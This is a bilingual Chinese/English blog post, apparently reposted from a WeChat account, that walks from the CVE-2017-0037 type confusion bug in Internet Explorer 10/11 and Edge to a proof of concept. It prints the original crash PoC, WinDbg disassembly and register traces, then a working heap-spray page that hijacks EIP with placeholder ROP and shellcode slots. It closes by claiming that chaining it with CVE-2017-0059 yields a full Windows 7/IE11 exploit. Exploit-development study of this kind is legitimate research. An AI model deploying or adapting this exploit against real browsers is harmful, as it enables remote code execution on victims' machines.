PoC利用Internet Explorer 10、11和Edge中的类型混淆问题PoC exploit for a type confusion issue in Internet Explorer 10, 11 and Edge
IE浏览器Internet Explorer
“ Microsoft Internet Explorer 10和11以及Microsoft Edge在mshtml.dll中的Layout :: MultiColumnBoxBuilder :: HandleColumnBreakOnColumnSpanningElement函数中存在类型混淆问题,它允许远程攻击者通过包含精心设计的级联样式表(CSS)令牌的向量执行任意代码在TH元素上运行的序列和精心设计的JavaScript代码。”“Microsoft Internet Explorer 10 and 11 and Microsoft Edge have a type confusion issue in the Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement function in mshtml.dll, which allows remote attackers to execute arbitrary code via vectors involving a crafted Cascading Style Sheets (CSS) token sequence and crafted JavaScript code that operates on a TH element.”
PoCThe PoC
该漏洞由Google Project Zero的Ivan Fratric发现。以下是他提供的PoC:The vulnerability was found by Ivan Fratric of Google Project Zero. The following is the PoC he provided:
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
有几点注意事项:With a few notes:
The PoC crashes in
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
when reading from address 0000007800000070
[...]
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.
[...]
Let's take a look at the code around the rip of the crash.
00007ffe`8f330a51 488bcd mov rcx,rbp
00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd mov rcx,rbp
00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf mov rcx,rdi
00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce mov rcx,rsi
00007ffe`8f330a80 ffd7 call rdi
On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).
On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.
However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.
Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.
如果我们可以执行堆喷射并将EAX指向我们控制的某个内存位置,那么听起来很容易控制CMP条件。Sounds pretty easy to control that CMP condition if we can perform heap spray and point EAX to some memory location we control.
控制EIPControl EIP
首先,让我们确认PoC是否有效:First of all let’s confirm that the PoC works:
(654.eec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000038 ebx=049f4758 ecx=049f4758 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=0399bd68 ebp=0399bd94 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800 cmp dword ptr [eax],0 ds:002b:00000038=????????
我按照Ivan的建议使用了“ th”元素的宽度,发现值“ 2000000”使我们可以将EAX的值移动到堆喷射中的受控内存位置:I played a little bit with the width of that “th” element as suggested by Ivan and found that a value of “2000000” allows us to move the value of EAX to a controlled memory location in the heap spray:
0:018> bu 59a15caf
0:018> g
[...]
Breakpoint 0 hit
eax=03bd86d4 ebx=03bd86c4 ecx=03bd86c4 edx=00000002 esi=00000064 edi=5a005320
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800 cmp dword ptr [eax],0 ds:002b:03bd86d4=a0949807
(skip the first break)
0:007> g
Breakpoint 0 hit
eax=0bebc2d8 ebx=04be9ae0 ecx=04be9ae0 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800 cmp dword ptr [eax],0 ds:002b:0bebc2d8=0e0e0e0e
正如预期的那样,EAX指向某个有效(和可控)的内存位置。如果满足CMP条件,则易受攻击的例程将尝试加载位于“ 0e0e0e0e”的对象的vftable并在+ 1A4h处调用该函数:As expected, EAX points to some valid (and controllable) memory location.
If the CMP condition is satisfied the vulnerable routine tries to load the vftable of the object located at “0e0e0e0e” and calls the function at +1A4h:
59a15caf 833800 cmp dword ptr [eax],0
59a15cb2 7448 je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xf1 (59a15cfc)
59a15cb4 8bcb mov ecx,ebx
59a15cb6 e8ec8181ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (5922dea7)
59a15cbb 8965f0 mov dword ptr [ebp-10h],esp
59a15cbe 8b18 mov ebx,dword ptr [eax]
59a15cc0 8b03 mov eax,dword ptr [ebx]
59a15cc2 8bb8a4010000 mov edi,dword ptr [eax+1A4h]
59a15cc8 8bcf mov ecx,edi
59a15cca ff15ac1f455a call dword ptr [MSHTML!__guard_check_icall_fptr (5a451fac)]
59a15cd0 8bcb mov ecx,ebx
59a15cd2 ffd7 call edi
Step by step:
59a15cbe 8b18 mov ebx,dword ptr [eax] ds:002b:0bebc2d8=0e0e0e0e
59a15cc0 8b03 mov eax,dword ptr [ebx] ds:002b:0e0e0e0e=0e0e0e0e
59a15cc2 8bb8a4010000 mov edi,dword ptr [eax+1A4h] ds:002b:0e0e0fb2=41414141
59a15cd2 ffd7 call edi {41414141}
以下是将EIP设置为41414141的有效PoCThe following is a working PoC to set EIP to 41414141
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,1000)">
<div id="hs"></div>
<script>
// Heap Spray - DEPS avoid null bytes
var hso = document.getElementById("hs");
hso.style.cssText = "display:none";
var junk = unescape("%u0e0e%u0e0e");
while (junk.length < 0x1000) junk += junk;
var rop = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
var xchg = unescape("%u4141%u4141"); // initial EIP control
var offset = 0x7c9; // to control eip
var data = junk.substring(0,offset) + xchg + rop + shellcode;
data += junk.substring(0,0x800-offset-xchg.length-rop.length-shellcode.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x350; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,(0x7fb00-2)/2); // 2 null bytes terminator
hso.appendChild(obj);
}
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th> <!-- width should control eax contents, should land somewhere in the heap spray -->
<th class="class2" width=0><div class="class2"></div></th>
工作利用概念Working Exploit Concept
显而易见,我们存在内存泄漏和EIP的控制。将CVE-2017-0059和CVE-2017-0037链接在一起,您将获得适用于Windows 7和IE11的可利用漏洞。It’s pretty obvious, we have a memory leak and control of EIP. Chain together CVE-2017-0059 and CVE-2017-0037 and you’ll have a working exploit for Windows 7 and IE11.
参考:
https://www.silentgrid.com/blog/cve-to-poc-cve-2017-0037/
https://www.cvedetails.com/cve/CVE-2017-0037/
https://blog.0patch.com/2017/03/0patching-another-0-day-internet.html
本文始发于微信公众号(Ots安全):从CVE到PoC – CVE-2017-0037
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论